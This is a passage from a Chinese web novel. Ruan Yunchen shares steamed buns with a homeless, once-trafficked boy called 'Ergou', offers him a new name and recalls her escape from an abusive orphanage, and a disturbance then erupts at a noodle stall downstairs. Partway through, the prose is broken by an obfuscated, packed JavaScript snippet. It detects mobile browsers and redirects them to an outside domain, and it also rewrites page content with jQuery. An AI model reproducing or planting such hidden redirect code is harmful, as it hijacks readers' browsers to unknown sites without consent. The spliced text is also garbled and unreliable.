阮云琛不确定,只能凭着一点模糊的直觉。她想起程一冉看她的那几眼,带着掩饰不住的试探和迟疑。 程一冉是不是猜到了她和和安堂的关系? 不——不可能。 她迅速在心底否定了这个荒谬的念头。 程一冉不会猜到的。 那些事藏得太深了,藏在角落里、夜风里、藏在她拳场上冷硬的喘息和一次次没有名字的伤口里。 她从不主动提,也从不给任何人留下蛛丝马迹。平日里,她把那些伤敷敷就好,随手套上宽松的外套,遮得严严实实。再严重的淤青、再触目惊心的擦伤,也不过是别人眼里的“不小心摔了”或者“遇上什么倒霉事了”。 和安堂的事,宋祈的事,她都瞒得非常好。 起码——起码她自认为自己瞒得非常好。 警察都尚且找不出什么蛛丝马迹,更何况是程一冉? 她顶多只是觉得她跟社会上的人有点牵扯,或者,认识那么几个不怎么干净的人。 想到这里,阮云琛的心稍稍沉了下来,目光落在桌上那本习题册上。光线微微发散开来,纸页上的字迹歪歪扭扭,被笔尖用力刻下去的痕迹深得像要穿透纸背。 她低头看着那道题,忽然觉得有点莫名的烦躁。 程一冉为什么敲门,又为什么什么都没说就走了? 走投无路了吧? 那副欲言又止的样子,她见过太多次了——像是有人堵在了喉咙口,想要开口,却不知道该怎么开这个头。 也可能是后悔了,觉得来敲她的门太唐突,太不体面。 阮云琛靠在椅背上,指尖无意识地敲着桌面,发出轻轻的“哒哒”声。她闭了闭眼,把这些纷乱的念头压了下去。 “别管闲事。”她自言自语道。 “咚、咚、咚。” 门外再次响起了敲门声,三声,带着某种执拗的耐心。 阮云琛的手僵在了桌面上,指尖微微抬起,悬在那里,没有落下。 空气安静得过分,窗外的风声依旧不依不饶,带着湿冷的灰尘味钻进门缝里,屋子里的灯光被风吹得微微颤动了一下,勉强撑起一片薄弱的光晕。 还有完没完? 她的眉心慢慢拧起来,站起身,动作很轻,却透着一股难以掩饰的烦躁。 走到门口时,她的步伐稍稍放慢,手搭在门把上,指尖冰凉,金属把手传来的寒意让她脑子里那股浮躁稍微平静了一点。 门打开的瞬间,一股带着热气的香味扑面而来。 阮云琛愣住了。 一包热腾腾的馒头被举到了她眼前,白白胖胖的,散发着刚出炉的香气,热气从塑料袋缝隙里飘出来,在寒风中氤氲成一片薄雾。 她的目光向下一扫,看见那只瘦小的手正攥着塑料袋的提手,指尖微微泛红,关节因为用力有些发白。 是那个男孩。 他站在门外,脸上还沾着一点油污,像是刚刚从码头回来,风尘仆仆的——又或者蹲在什么脏兮兮的角落里。 他抬起头看着她,脸上没什么表情,但眼睛却亮亮的,像是被路灯的光晕映出了星星点点的亮色。 “给你。”他说,声音很轻,带着一点局促的沙哑。 阮云琛一时没有接,手僵在半空,目光落在那包馒头上,又扫过他手上沾着污渍的指尖,心里忽然像是被什么东西撞了一下,硬邦邦的,不轻不重,却直直地击中了某个地方。 “哪来的?”她开口,声音比预想的要冷硬。 男孩的手顿了顿,目光落在地上,脚尖轻轻蹭了一下地面,像是在掩饰什么。 “卖……卖了点废铁。”他说得很小声,但听得出,他在努力让自己的声音听起来平稳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914041|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阮云琛的手指微不可察地颤了一下,目光落在男孩捏紧塑料袋的手上,关节因为用力泛着发白的红。 门口的风凉得有些过分,带着灰尘的湿气,一丝不苟地钻进屋里,把那点仅存的热意吹散得干干净净。 阮云琛看着那包馒头,没有伸手去接。 热气顺着塑料袋的缝隙飘出来,被冷风一截截地撕碎,像是掌心里本来捂着的温度,最终也没有留住。 男孩的手依旧攥着袋子,指尖不安地扣着塑料袋的边角。他站在那里,像是忘了要做什么,眼睛亮亮的,却没有任何声音。 阮云琛移开视线,原本凝固在那包馒头上的目光落在他的手上,那双瘦得像柴枝的手掌,指尖一层薄薄的冻痕,皮肤干燥地裂开几道口子,带着风吹过的粗糙。 她本来想说什么,嘴唇动了动,最终什么都没有说出来。 心底某个地方,好像被什么轻轻磕了一下——不疼,却说不上来地难受,像是有人无声地把一块滚烫的石头,按在了她心口的某处。 阮云琛忽然觉得胸口有些闷,烦躁得没来由。 她皱了皱眉,目光落在男孩的脸上。 他脸上有污渍,眼睛却干净得过分,亮得让人不敢直视。那种亮,不是寻常孩子的纯粹,而是一种藏在沉默里的固执,像是久经风雨的野猫,在寒夜里抱着仅有的温度。 阮云琛深吸一口气,冷风钻进胸腔,带走了压在心头的某些东西。眉间的线条缓缓松开,她侧身让出一条缝。 “进来吧。” 男孩抬起头,微微怔了一下,眼神在风声里轻轻晃动,似乎有什么东西在刹那间被点亮了,光影淡得不真切。 他没说话,攥紧塑料袋的手微微松开,跟着她的脚步,小心地跨过门槛。 门关上了,风声像是被卡在了门缝外,停在楼道里不甘地回荡着。 屋里骤然安静下来,台灯发出的微弱嗡鸣声变得清晰,温度也随之沉淀下来。 阮云琛把馒头放在桌上,那只塑料袋被她放下时发出轻微的“沙”声,热气飘散在空气里,勉强驱走了一点屋里的寒意。 男孩没有动,依旧站在门口,鞋底不安地蹭着地面。 阮云琛抬眼扫了他一眼,他的鞋破旧不堪,前头的布料被磨得几乎露出了脚趾。肩膀瘦削得过分,撑不起那件洗得发白的外套,像是风一吹就能把他连着影子一起吹散。 阮云琛没有多说什么,只是弯腰从抽屉里摸出一双筷子,轻飘飘地丢在桌上,筷子撞在桌面上,发出一声清脆的响动。 “家里今天没有什么东西......只有一包咸菜,凑合吃吧。” 阮云琛的声音很轻,听不出什么情绪。 她坐下来,伸手拿过一个馒头。 塑料袋被捏得皱巴巴的,那几个馒头挤在一起,表皮已经被捂出了一点细小的湿气,但依旧透着热腾腾的香味。 阮云琛捏着馒头的动作顿了顿,目光落在手里的那团白色面皮上。热气从指尖传到掌心,一路烫进胸口,明明不重,却让她觉得有些不知所措。 这是男孩用什么换来的,她心里清楚。 那些空瓶子、废铁、捡回来的旧纸板,一斤几毛钱,能凑出这几个馒头,要付出多少时间、多少力气?阮云琛当然知道。 她想起那时候的那些廉价的消毒水,那个塑料袋里一层一层的纱布和药棉,男孩攥着袋子递给她时,那双微微发红的手指,以及他试图掩饰的慌乱眼神。 一样的沉默,一样的倔强。 阮云琛忽然觉得,这馒头有点烫手,像是她欠下的什么东西,轻飘飘地落在她掌心,却无论如何都还不起。 她抬起眼,看了男孩一眼。 男孩已经坐下,背脊微微弓着,双手捏着那双筷子,指尖依旧有些僵硬。他低着头,没吭声,像是已经习惯了这样的一顿饭。 阮云琛收回目光,低头掰开了馒头。 裂开的馒头里透出白白的软面,热气扑在她脸上,带着一股微甜的香味,让她脸上的神情缓了缓,眉眼间的那一点冷硬也松动了一些。 她抬起手,把掰开的馒头放到嘴边,却没有立刻咬下去,而是顿了顿,指腹轻轻按了按那柔软的面皮。 这馒头,应该很便宜吧? 便宜到男孩的手上,只剩下它的重量,一点微不足道的价值。 可阮云琛知道,这个重量背后压下去的是几个小时的寒风,是肩膀和手臂的酸痛,是指尖冻得发白却不敢停下的动作。 她突然觉得喉咙有些发紧,动作不自觉地放缓了些。 “吃吧。”她低声说,语调平静,像是顺口一提,又像是在说服自己。 男孩坐在对面,低着头小口地咬着馒头,动作轻得像是怕惊扰什么。他的眼睛盯着桌面,视线不敢往上抬,肩膀微微塌着,整个人像一只小小的影子,被灯光投在墙上。 阮云琛看着他,手里的动作停了下来,目光落在他捏着馒头的那双手上——指节瘦弱,手背上的皮肤因为寒风泛着白色的裂痕,像是一块粗糙的土地,被冻得开了几道沟。 “下次别乱花钱。”她开口,语气淡淡的,像是在说一件无关紧要的事。 男孩抬头看了她一眼,眼神怔忡,像是没反应过来,又似乎想说什么。可那点亮光在视线相触的刹那,又很快熄灭了。 他低下头,手里的筷子紧了紧,轻轻地“嗯”了一声,声音小得几乎融在了灯下的光影里。 屋子重新归于沉默。 阮云琛没有再看他,目光落在桌上的那盘咸菜上。 那菜叶已经干巴巴地卷了边,泛着微微的油光,看起来连它自己都不愿意留在这盘子里似的。 她重新咬了一口馒头,动作很慢,像是每一口都要耗尽她全部的力气。 馒头在口腔里被压成一团,淡淡的面香还未散开,心底那点堵得慌的东西却又浮了上来。 这屋子实在太安静了,安静得让每一点细小的声响都变得分外清晰——男孩筷子碰到碗沿时那微不可察的碰撞声,咀嚼馒头时发出的轻微磨擦,还有窗外风吹动玻璃的低低呜咽。 阮云琛垂着眼皮,指尖捏着馒头的边缘,无意识地按了按,掌心已经凉透了,只有馒头的余温还在。 这是个什么日子啊?她不知道。 一个小孩站在风里,把自己捡来的废铁换成了一包馒头,送到她手上,连声音都不敢大一点,就像生怕她会不高兴。 阮云琛心里莫名有些烦躁,却不知道自己到底在烦什么。 桌对面的男孩低头吃着馒头,一小口一小口的,动作缓慢而克制,筷子一直没碰那盘咸菜,好像那是某种需要郑重对待的东西,他怕多吃一口,就会被人责怪似的。 他的头埋得很低,背脊薄得像一片纸,安静到几乎让人忽略他的存在。 阮云琛忽然觉得心里堵得更厉害了。 她低头咬着馒头,动作一顿,视线落在男孩被风吹裂的指尖上。灯光在那片皮肤上落下一层淡淡的光,勾勒出那些细小的纹路。 她移开了目光,靠在椅背上,目光有些飘忽地扫过屋顶那盏灯。 这盏灯用了很久了,灯罩上落了一层灰,光线从缝隙里透下来,把一切都照得淡而模糊。 桌上的馒头还在冒着一丝细弱的热气,男孩的小动作也变得慢了些,像是在吃一顿难得的晚餐,时间在这一刻拉得又长又慢。 她本该说点什么的。 告诉他,别再把钱浪费在她身上了。告诉他,这样的善意,她不需要,也承受不起。 可话到嘴边,像是被什么堵住了,怎么也说不出口。 阮云琛把馒头放回碗里,手指轻轻敲了敲桌面,发出几声轻微的“哒哒”声,似乎在打破什么,又似乎只是顺手而为。 男孩抬起头看了她一眼,又立刻低下去,没敢多看一眼。 屋子里重新安静下来,沉默像是一道无形的墙,将两个人隔开,各自安守着自己的那点微弱的存在感。 时间被拉得很长,长到阮云琛忽然开口时,连她自己都被这突如其来的声音吓了一跳。 “二狗不像个人名。”她说。 36. 名字 话一出口,阮云琛的手微微一顿,指尖轻轻敲了一下桌沿。屋子里原本细碎的咀嚼声戛然而止,气氛像是被什么人悄无声息地掐断了,停在原地。 连阮云琛自己也愣了一下。 她原本只是想着——想着男孩那一双冻得通红的手,想着他站在风里的瘦削背影,想着那些带着一股廉价铁锈味的馒头。 可不知怎么,这句话就这么轻飘飘地脱口而出,甚至连她自己都没来得及拦住。 她下意识地收回目光,盯着桌上那盘几乎没人动过的咸菜,指腹在桌面上来回摩挲,像是要把那点尴尬的情绪一点一点碾碎。 男孩动作一僵,手里的筷子停在了半空中。他茫然地抬起头看着她,眼神里闪过一丝慌乱,像是突然间不知所措,又像是在试图判断她这句话的意思。 阮云琛没看他,目光依旧垂着,像是漫不经心地盯着桌角的某一处,灯光从侧面洒下来,勾出她睫毛的阴影,遮住了眼底的情绪。 “谁给你起的?”她开口,声音平淡得像是在问一件无关紧要的事。 可那语气里隐约的沉闷,又让这句话显得没那么简单。 男孩低下头,捏着筷子的手指不自觉地收紧,像是攥住了什么脆弱的东西。他的肩膀微微缩着,影子在灯光下显得更小了些,安静得几乎让人忘了他的存在。 “他们随便叫的。”他的声音很轻,像是一片羽毛落地,轻飘飘的,却又带着几分说不出的钝痛。 阮云琛的眉心微不可察地皱了一下。 “他们?” 她没继续追问,只是把这个词默默在心里咀嚼了一遍,像是在试图掀开什么,却又下意识地停住了。 屋子里重新归于沉默,只剩下桌上那包馒头的余热还在缓缓散开,馒头的甜香与咸菜的油腻味混在一起,空气中弥漫着一种说不出的沉闷。 阮云琛抬起头,看着男孩低垂的眼睑和攥紧的筷子,心底有点东西轻轻地撞了一下。 不疼,却堵得慌。 她没再说什么,只是重新拿起了那块半凉的馒头,轻轻咬了一口,动作放缓,目光飘忽地落在远处,似是在看什么,又似是什么都没有看。 屋子里安静得只剩下细碎的咀嚼声,和风吹过窗缝时发出的低鸣。 这片沉默拉得有些久,久到阮云琛觉得有点喘不过气来。 她抬起头,目光落在男孩低垂的额头上。他的头微微垂着,肩膀依旧是微弓的,像是一张绷紧的弓弦,随时都会被风吹断。筷子被他攥在手里,指尖泛着一丝微微的发白。 阮云琛没再说什么,视线又落回桌上,重新拿起半凉的馒头,轻轻地咬了一口,动作缓慢而平静,仿佛这顿饭从来不需要多余的言语。 屋子里的热气渐渐散去,空气里混合着馒头的甜香与咸菜淡淡的酸涩。 “……他们叫我‘二狗’。” 那声音突兀地响了起,轻得几乎要被风吹散,却突兀地落在了这片沉默里。 阮云琛手里的动作顿了顿,馒头还未咽下,舌尖上似乎多了点涩意。 男孩低着头,没有看她,嗓音有些闷,像是在尽力掩饰着什么:“因为……我是第二个。” 他的手指攥着筷子,指节轻轻地敲在碗沿上,发出微不可察的“嗒嗒”声,仿佛这样就能把话里的那点情绪敲散了。 “第二个被拐进山里的。” 阮云琛没有接话,目光微微动了动,落在他垂着头的影子上。 男孩沉默了一瞬,似乎是下了什么决心,嗓音低低地传来:“我不记得我爸妈......我原本的爸妈是什么样了。” 这句话像是一根针,扎破了空气里那点安静。 阮云琛看着他,手指摩挲着桌沿,没有说话。 “我小时候……”男孩继续道,声音有些发涩,像是在回忆,又像是将什么埋在了心底的东西一点点掏出来,“小时候我闹着想去游乐园,有个阿姨说带我去玩。我就跟她走了。” 他的肩膀微微缩着,手里的筷子一点点攥紧,指节泛白。 “后来……后来我就到了一座山,那里有个村子。”男孩顿了顿,嘴唇轻轻抿着,半晌才继续说,“村子很脏,牛和猪都是乱跑的。那家人把我关在屋里,每天让我养猪、喂牛,起得晚了就挨打。” 他说得很轻,像是随口在说一件与自己无关的事,可每个字都像是石头一样,压在了屋子里的空气里。 阮云琛静静地看着他,手指微微收紧,指腹轻轻敲了一下桌面,没说话。 “他们叫我‘二狗’,因为我不是第一个。”男孩低着头,声音变得愈发轻,像是在用尽全力压住什么,“第一个……叫‘大狗’。他比我大一点,好像是从别的地方被拐来的。我不知道他去哪了,有一天他就不见了。” 空气中安静得能听见窗外风吹过的声音,呜咽着从缝隙里挤进来,把屋子里的沉闷搅得更重了些。 男孩攥着筷子的手指抖了一下,垂着的头微微侧过,目光落在桌上的那盘咸菜上,声音细弱地继续:“后来有一天,有几个人来了……他们穿着制服,像是警察,开车停在村口问路。他们车的后备箱没关好,我就趁他们不注意,偷偷钻了进去。” 他说到这里,抬起头看了阮云琛一眼,眼神里有些茫然,还有些不安,仿佛在等她说点什么,可又不敢真的期待什么。 “后来呢?”阮云琛的声音有些低哑,平静得几乎听不出情绪。 男孩抿了抿嘴,垂下眼,轻轻地说:“后来……车跑了很久,我躲在后备箱里,不敢动,也不敢出声。到了一个地方,他们停了车,我就跑出来了。” 说完,他的声音彻底没了,只剩下肩膀微微绷着,像是在等一个回应,又像是在等什么审判。 阮云琛看着他,目光微微动了动。 她没有立刻说话,只是靠回椅背,抬起手,指腹在桌面上轻轻敲了两下。声音很轻,却在这片沉默中显得格外清晰。 “然后你就来了淮龙市?”阮云琛问,语气淡淡的,听不出什么情绪。 男孩摇了摇头。 “我去了好几个地方......可是那里的人都把我赶走,我没有钱,做不了活,吃不饱饭......后来、后来才来的淮龙。” “……嗯。”阮云琛低低地应了一声,像是在给这句话做一个落点。 阮云琛的目光落在男孩攥紧筷子的手指上,那些细小的红痕、裂口,还有那件洗得发白的外套,都让她心头堵得更厉害了些。 她沉默了一瞬,目光重新落回桌上,半晌,才低声开口:“这种名字……不算是个名。” 男孩抬头看她,眼神有些愣怔,似乎没想到她会这么说。 阮云琛的目光平静地看着他,眉眼间带着一丝若有若无的冷硬,嗓音却淡淡的:“二狗、大狗,听着就跟牲口似的。” 男孩没有说话,只是低下头,手里的筷子微微攥紧。 阮云琛垂着眼,盯着桌面上的馒头,似乎在思考什么,指尖轻轻摩挲着桌沿的纹路,片刻后,她像是漫不经心地说:“起个新名字吧。” 声音很轻,听不出什么情绪,语调却是平稳的,带着她惯有的冷淡,仿佛只是随口一说。 男孩猛地抬起头,眼睛里有些茫然,还有些惊讶,仿佛没有听懂她的话。 阮云琛没再看他,目光垂下,轻轻地补了一句:“人总得有个能叫出口的名字,才算个活人。” 这句话说得平静,可话音落下的那一瞬间,男孩的指尖却轻轻颤了一下,手里的筷子敲在碗沿上,发出轻微的“哒”一声。 他低下头,似乎不敢看她,手指扣在筷子上,动作有些局促,嗓音低低地传过来:“……我不知道该叫什么。” 阮云琛的眉心微不可察地皱了皱,眼神落在男孩的额前那一小撮垂下来的碎发上,心底的那点堵塞感又浮了上来。 “没人给你起过名字?”她问,声音依旧淡淡的,仿佛只是顺手捡起了一个话题。 男孩摇了摇头,动作很轻,像是在掩饰什么。 阮云琛没有立刻说话。 她的目光垂了下来,落在桌面上那半块馒头上。她抬起手,捏起了馒头的一角,轻轻掰了一下,食物的热度早已散去,留下的只有冷硬的质感。 阮云琛盯着那一小块馒头看了几秒,忽然轻嗤了一声:“起个新名字,很难吗?” 男孩抬头看着她,目光里带着一丝迟疑,仿佛不敢相信她在说什么,又好像在犹豫这句话里到底有什么弦外之音。 “比如……”阮云琛声音很淡,目光微微偏开,像是在回忆什么,“重要的日子,或者看到的东西,随便找个顺眼的。” 男孩看着她,眼神里透出几分茫然和小心翼翼,嘴唇动了动,没发出声音。 阮云琛的目光重新落回他身上,嘴唇微微抿了一下,嗓音依旧平静:“你是什么时候……到这地方的?” “秋天。” 男孩的声音很轻,很慢,仿佛他自己也不确定这个答案有什么意义。他抬起头看她,眼底透着些许不安,“……那时候天很冷。” 阮云琛轻轻“嗯”了一声,像是在消化这个答案,手指依旧敲着桌面,发出的轻微“嗒嗒”声在安静的屋子里被放大。 “秋天。”她淡淡地重复了一句,声音里带着一点不易察觉的出神,像是在咀嚼着什么。 那年她从福利院逃出来的时候,天也很冷。 阮云琛的目光落在桌上的馒头上,心神却飘得很远。她记得那天她攥着那几个皱巴巴的硬币,站在街头,风从破旧的单薄衣服里灌进去,像是一把把细碎的刀子,割得骨头生疼。 她拉着淼淼走出福利院的铁门时,身后那个冰冷的地方渐渐被拉远,门口那块写满字的牌匾在她的视线里变成模糊的一团,只有“福利”两个字还在飘来荡去,像是讽刺。 讽刺着那里从未给过她半点福利,反而像一座阴冷的牢笼,把她的童年关在了墙后,将骨头缝里的每一丝挣扎都碾成了泥。 那里所谓的“福利”,是院长办公室桌上分批审批下来的政府补助,变成她们吃不饱、穿不暖的冬天里,那锅早早见底的稀饭;是厨房里发霉的馒头和被老鼠啃过的面包,扔在地上,谁抢得快就是谁的;是老师们脸上虚伪的笑容,背地里捏住她们的胳膊,用指甲狠狠掐下的青紫。 她记得自己十岁那年发高烧,头晕目眩地躺在床上,淼淼把她的额头擦了又擦,却不敢出声叫人,因为她知道,换来的只会是一句“装什么病”,还有被扔到走廊里吹一晚冷风的惩罚。 “福利”这个词,落在别人嘴里,意味着关爱与救赎,可对她来说,不过是从一个地狱换到另一个地狱罢了。 她记得自己离开福利院的那天,攥着淼淼的手指紧了紧,年幼的妹妹还不懂她的心思,只是睁着圆溜溜的眼睛,回头看了一眼那块牌匾,小声问:“姐姐,那里面的人会不会来找我们?” 阮云琛低头看了她一眼,沉默了几秒,最终只是抬起脚步,冷冷地吐出一句:“不会。” 风卷起地上的落叶,金黄的树叶被碾进泥水里,黏在她的鞋底下,发出一点脆弱的声响。 她和淼淼走了很久,饿得前胸贴后背,靠在一座桥下发呆的时候,有个女流浪汉走过来,嘴里叼着半截烟——她跟那假扮领养人把她们带出去的流浪汉一样,糟蹋,糟糕,令人作呕。 女流浪汉骂骂咧咧地扫了她一眼,又继续摇摇晃晃地走远了。 ——那时候也是秋天。 风很冷,天很高,阳光照下来,却什么都没能暖热。 阮云琛回过神来,目光扫过对面的男孩。男孩的肩膀微微塌着,身形被灯光勾出一圈浅淡的影子,桌上的馒头只剩下了一半,边缘被捏出了些许褶皱。 她忽然觉得,这两个“秋天”好像在哪里悄无声息地重叠了。 “秋天。”她又说了一遍,声音低哑,尾音淡得像风吹过河面时留下的一丝涟漪。 男孩没有抬头,只是捏着筷子的手指动 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阮云琛把最后一口馒头咽下去,空碗搁在桌上,瓷碗轻轻碰撞,发出一声轻微的响动,像是敲在这片沉默里,细碎又凌乱。 她靠回椅背,目光落在桌面那盘咸菜上。咸菜已经被挑了两次,剩下的一片片零散地铺在那里,油腻的光泽被台灯照得过分清晰,连盘子上的裂纹都看得一清二楚。 窗外风声一阵阵地往里灌,风里裹着点湿意,屋里就这样冷了下来。 阮云琛的目光微微下移,扫过桌对面那个还在低头吃饭的男孩。 他捏着筷子的手指又细又瘦,指节微微泛白,肩膀还是蜷着,像是一种习惯,一种根植于骨子里的警惕。 他埋着头吃饭,安安静静的,一言不发,只有筷子轻轻碰在碗沿上的声音,断断续续地飘过来。 阮云琛盯着那双蜷着的肩膀看了一会儿,目光无声地移开了。 她的指腹轻轻敲着桌面,动作漫不经心,像是在打发时间,又像是在琢磨什么。 这屋子太安静了,安静得让人觉得每一点动作和呼吸声都被放大,像是某种无形的东西把空间填满了,又掩埋了所有的话。 她垂下眼,忽然想起了医生的话。 “淼淼的情况稳定了,可以出院,先回家观察一段时间。” ——稳定了。 这两个字漂在她脑海里,像是架在半空中的纸船,看着稳当,却没有任何分量。 她看过病床上淼淼那苍白的脸色,嘴唇总是泛着淡淡的青紫,心里总是有根线绷得紧紧的,不敢松懈,也不敢回头。 每次去医院看淼淼,她都是一个人,从医院的走廊走到大门口,药单塞进口袋,呼吸一阵凉风。白墙、消毒水味、病床边机械的仪器声——这些东西总是把她压得喘不过气来,明明应该是结束,可她总觉得,后面还有更长的路,要她一步一步走下去。 阮云琛停了手,抬起眼,看着男孩那蜷着的背影。 她忽然觉得,有个人跟着,似乎也没有什么坏处。 这个念头来得很轻,轻得她自己都没察觉,只是手指在桌面上轻轻一敲,发出一声不轻不重的响声。 男孩似乎被这声响吓了一下,手里的筷子停了停,抬头看她,眼神里带着一点茫然。 阮云琛没有看他,视线重新落回桌面,声音淡淡的,平静得听不出任何情绪。 过了片刻,她忽然开口:“明天,有没有空?” 男孩一怔,抬起头看她,眼神里还带着一点茫然:“啊?” “陪我去接个人。”阮云琛的声音依旧很淡,说话间,她把手收了回来,随手在桌面上摩挲了一下,目光也不再落在他身上。 男孩愣在那里,微微抿了抿嘴,眼神里浮起一丝犹豫和不知所措。他捏着筷子的手停在半空,喉咙轻轻滚动了一下,低着头,小声地重复了一遍:“淼淼……” 他知道这个名字。 桌子对面的台灯下,有时候会有几本破旧的课本,数学、语文,封面上名字的地方都写着那个字——“淼淼”,字迹歪歪扭扭,却认真到不容忽视。 有一次,他坐在桌边等阮云琛回家,忍不住翻开了其中一本,书页被翻得软趴趴的,角落里画满了稚拙的小人,有一个短发的,身边跟着一个胖乎乎的小人,旁边歪歪扭扭地写着“姐姐和我”。 他当时看了很久,像是在揣摩什么,又像是在试图从这些线条里拼凑出一个故事。 ——那是阮云琛的世界,和他无关,但却真真实实地放在了桌上,摊开在他面前。 “淼淼。”男孩又念了一遍,声音很轻,像是在试探,又像是确认。 他忽然觉得这个名字有些陌生,又有些近乎熟悉的重量。那个课本上的名字,那些画得乱七八糟的小人,还有那些无声的线索,就这样一下子串了起来。 阮云琛抬眼看了他一眼,视线从他那怔愣的神情上扫过,又落回桌面。她没有解释什么,只是淡淡地“嗯”了一声:“对。” 男孩低着头,轻轻地“嗯”了一声,声音细细的,却带着一点莫名的郑重。 阮云琛没再多说什么,只是靠回椅背,侧过头去看着窗外的夜色。风声依旧在外面呼啸着,冷冷地刮过窗棂,把那片灰暗的天幕压得更低了。 她闭了闭眼,重新睁开,目光平静地落在那盘咸菜上。 这不过是一次接人而已,有什么大不了的? 她这样告诉自己,却没有再去看桌对面的男孩。 屋子里的沉默像是被拉长了一条细线,越拉越紧,紧得让人有些喘不过气。男孩捏着筷子,碗里那半个馒头已经凉透了,他却好像不知道该如何下手,手指僵硬地悬在半空中。 阮云琛的视线在咸菜上停了片刻,最终还是移开了。 她的指腹无意识地摩挲着桌面那道陈旧的裂痕,粗糙的木质纹路冰凉而坚硬,像是钉在心头的某个节点,一下一下地敲打着她,让她不自觉地分了神。 就在这时,楼底下突然传来一声刺耳的巨响。 37. 面摊 那声音来得猝不及防,像是一把尖刀,毫无征兆地刺破了那片沉静的幕布。 金属与地面的撞击声震耳欲聋,仿佛有人用尽全力掀翻了一张沉重的铁桌,生生砸进了夜色的空洞里,硬生生地将四周的死寂撕出一道裂口。 男孩的肩膀猛地一抖,手里的筷子发出“哐当”一声轻响,掉回了碗里。他抬头看向窗户的方向,眼神里透出些许茫然与惊恐,眉头微微皱起:“……什么声音?” 阮云琛的动作停住了,指腹还停留在桌面那道裂痕上,整个人却僵在那里。她的呼吸微微一滞,眼神一下子冷了下来,指尖不自觉地收紧,指节泛白,像是在克制着什么。 那个声音太突兀了,突兀得让人本能地警觉起来。 紧接着,只听见又一声刺耳的巨响,像是什么东西被狠狠掀了翻,撞击在地面上,伴随着金属的脆响,刺破了屋子里凝滞的空气。 没过几秒,女人的哭叫声便撕开了夜晚的宁静。那哭声夹杂着男人粗暴的喝骂声,泼天的吵闹从楼下传来,像是有人用拳头砸在了门上,震得整栋楼都微微颤抖。 阮云琛的动作一滞,目光倏地一沉。 男孩也被这动静吓了一跳,手里的筷子一颤,发出轻微的“哐当”声。他本能地抬起头,一脸茫然地看向窗户的方向,眉头微微皱起,动作有些僵硬。 起初是错愕,那是孩子面对突如其来的巨大响动时最直接的反应。可很快,他的表情便悄悄变了,眼神里那点本能的慌乱被什么压了下去,取而代之的是一种警觉——一种被岁月和环境打磨出来的本能。他察觉到事情的不对劲了。 楼下的声音还在继续,女人的哭喊、男人的喝骂,凌乱的脚步声像一场无形的风暴,透过窗户缝隙一寸寸渗透进来,冰冷得让人心口发紧。 男孩下意识地转头看向阮云琛,想开口问什么,但还没来得及出声,就看到她已经站了起来。 “别怕。”阮云琛的声音冷冷的,有些低哑,带着一丝不易察觉的沉重。 她的动作迅速而果断,椅子在地板上划出一道细微的摩擦声,指尖在桌面上撑了一下,动作轻得几乎没有痕迹。 她走向窗户,抬手掀开一角窗帘,风从外头灌了进来,将她半张脸笼罩在阴影里。 男孩的喉咙微微滚动了一下,眼神不动声色地落在她的背影上。 他看着她略显僵硬的肩膀,眼神里的茫然彻底退去了,取而代之的是一种难以言说的沉默。 阮云琛的视线停在了楼下,眉间微微皱起。 巷子里灯光昏黄,像是长了霉的黄纸,散发出一种陈旧的气息。 地上的面汤和碎瓷片混成一滩狼藉的泥泞,桌椅被掀翻,倒扣在地面上,椅腿磕断了一截,斜着倒在那里,像是断了脊梁的骨头。 万秀瘫坐在地上,哭声断断续续,绝望得像是从喉咙深处挤出来的。她的手死死地抓着那口煤气罐,指甲已经泛白,手背的青筋突起,仿佛只要一松手,整个人就会被这风声和哭喊声吞没。 她喊不出什么完整的话,哽咽着断断续续求饶:“求求你们……宽限几天……再宽几天……” 她的声音哑得发抖,每一个字都像是从牙缝里挤出来的,痛苦又绝望。她坐在地上,头发散乱地垂在脸上,整个人像是被摔碎了的瓷器,狼狈得几乎拼不起来。 阮云琛站在窗前,眼神沉沉地向下扫去,手指轻轻扣在窗框上,骨节绷得很紧。 以往那个站在摊位后方、嗓门儿大的女人,总是挽着袖子、甩着锅铲,活得利落又带着点泼辣的劲儿。 她喊一声“加个蛋要不要”,不管认不认识,总能引得一旁的人笑着应上一句:“行啊,算你便宜点。” 万秀的摊子烟火气浓烈,混着油盐酱醋的味道,常年飘在巷子里,也飘在每一个过路人的记忆里。 她像是一个被生活打磨得粗粝却又顽强的女人,袖口沾着面粉,眉眼间却有股见惯风浪的坚韧——那些占便宜的老顾客都说,这女人,脾气再横也不是个软骨头。 阮云琛不喜欢万秀。 万秀的嘴太碎,站在摊位后头时,手里一边剁着蒜末,一边就能跟邻居们扯上几句不痛不痒的闲话:“听说楼上的谁谁又带了个男人回来”、“听见昨天半夜谁家砸东西了,吵得要命”、“哎,这种人,早晚出事儿”。 那些话往往说得模棱两可,却又像刀子一样,往别人的背后划上一道,留下一道隐隐的痕迹,让听的人忍不住去琢磨那几句话的意思。 阮云琛听过万秀在背地里议论她——“一个年轻姑娘,成天一身伤回来,也不知道干什么去了”,“白天不见人,晚上才晃晃悠悠地回来,跟哪个不三不四的混在一起吧”。 她不在意,那些话有时候就像是街头的风,吹一吹,就过去了。 ——没什么好解释的,她的生活本来就不干净。 那些被随手掀开就能看到的“脏”,她从不觉得丢人:拳场的灯光、翻飞的拳头,淼淼的病历单,还有手里攥着的那点脏钱。 别人看得见,她自己也看得见。日子就是这么回事,一团泥水,踩脏了,谁也别想拎出个干净的角落来。 反正他们说的也没错。 阮云琛靠在窗框上,视线微微向下。 程一冉也站在那儿,没哭,没闹,只是杵着一双肩膀,看上去瘦得像是风一吹就能折了去。她的脸色发白,嘴唇抿得很紧,眼神怔怔的,像是被什么卡住了,怎么也说不出话来—— 阮云琛也不喜欢程一冉。 程一冉站在她面前时,总是带着一种虚假的善意,易碎得很,风一吹,就能散得一干二净。 有时候她会带点怯生生的试探,轻声问:“你……最近还好吗?”话音里的关心显得小心翼翼,甚至有点勉强。 但这样的关心一旦被旁人瞥见,万秀的声音就会从面摊后传来,尖利又带着几分刺耳:“你跟她搭什么话?一个成天不着家的,谁知道在外头都干些什么见不得人的事。” 